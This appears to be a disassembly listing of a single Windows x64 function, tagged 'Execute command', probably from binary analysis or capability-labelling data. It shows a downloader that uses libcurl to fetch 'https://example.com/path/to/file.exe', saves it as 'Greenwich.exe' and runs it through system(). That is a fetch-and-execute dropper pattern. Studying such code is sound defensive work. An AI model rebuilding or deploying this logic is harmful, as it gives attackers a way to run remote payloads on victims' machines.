Function at 0x140001190
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov ecx, 0x30
call fcn.140001910
mov qword [rbp - 0x38], rax
movdqa xmm0, xmmword [0x140003480]
movdqu xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [str.https:__example.com_path_to_file.exe]
movups xmmword [rax], xmm1
movups xmm0, xmmword [0x140003428]
movups xmmword [rax + 0x10], xmm0
mov ecx, dword [0x140003438]
mov dword [rax + 0x20], ecx
mov byte [rax + 0x24], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], 0xd
mov qword [rbp - 0x40], 0xf
movsd xmm0, qword [str.Greenwich.exe]
movsd qword [rbp - 0x58], xmm0
mov eax, dword [0x140003448]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x14000344c]
mov byte [rbp - 0x4c], al
mov byte [rbp - 0x4b], 0
call qword [sym.imp.libcurl_x64.dll_curl_easy_init]
mov rbx, rax
test rax, rax
je 0x1400012ac
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rdx, qword [rbp - 0x58]
lea r8, [0x1400033e0]
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
je 0x140001315
lea rdx, str.Failed_to_open_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400014a0
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rdx, qword [rbp - 0x58]
mov r8, qword [rbp - 0x48]
mov rcx, rax
call fcn.140001720
mov rcx, rax
lea rdx, [0x140001670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Error_during_the_process._Exiting...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400014a0
mov rcx, rax
lea rdx, [0x140001670]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x1400013c6
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013c1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r8, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova r8, qword [rbp - 0x38]
mov edx, 0x2712
mov rcx, rbx
call qword [sym.imp.libcurl_x64.dll_curl_easy_setopt]
lea r8, [0x140001180]
mov edx, 0x4e2b
mov rcx, rbx
call qword [sym.imp.libcurl_x64.dll_curl_easy_setopt]
mov r8, qword [rbp - 0x60]
mov edx, 0x2711
mov rcx, rbx
call qword [sym.imp.libcurl_x64.dll_curl_easy_setopt]
mov rcx, rbx
call qword [sym.imp.libcurl_x64.dll_curl_easy_perform]
mov edi, eax
mov rcx, rbx
call qword [sym.imp.libcurl_x64.dll_curl_easy_cleanup]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test edi, edi
je 0x1400013a8
mov ecx, edi
call qword [sym.imp.libcurl_x64.dll_curl_easy_strerror]
mov rbx, rax
lea rdx, str.Download_failed:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400014a0
mov rcx, rax
mov rdx, rbx
call fcn.1400014a0
jmp 0x14000129c
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova rcx, qword [rbp - 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400012d0
call fcn.14000194c
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140001418
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001413
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001413
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000194c
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400018f0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret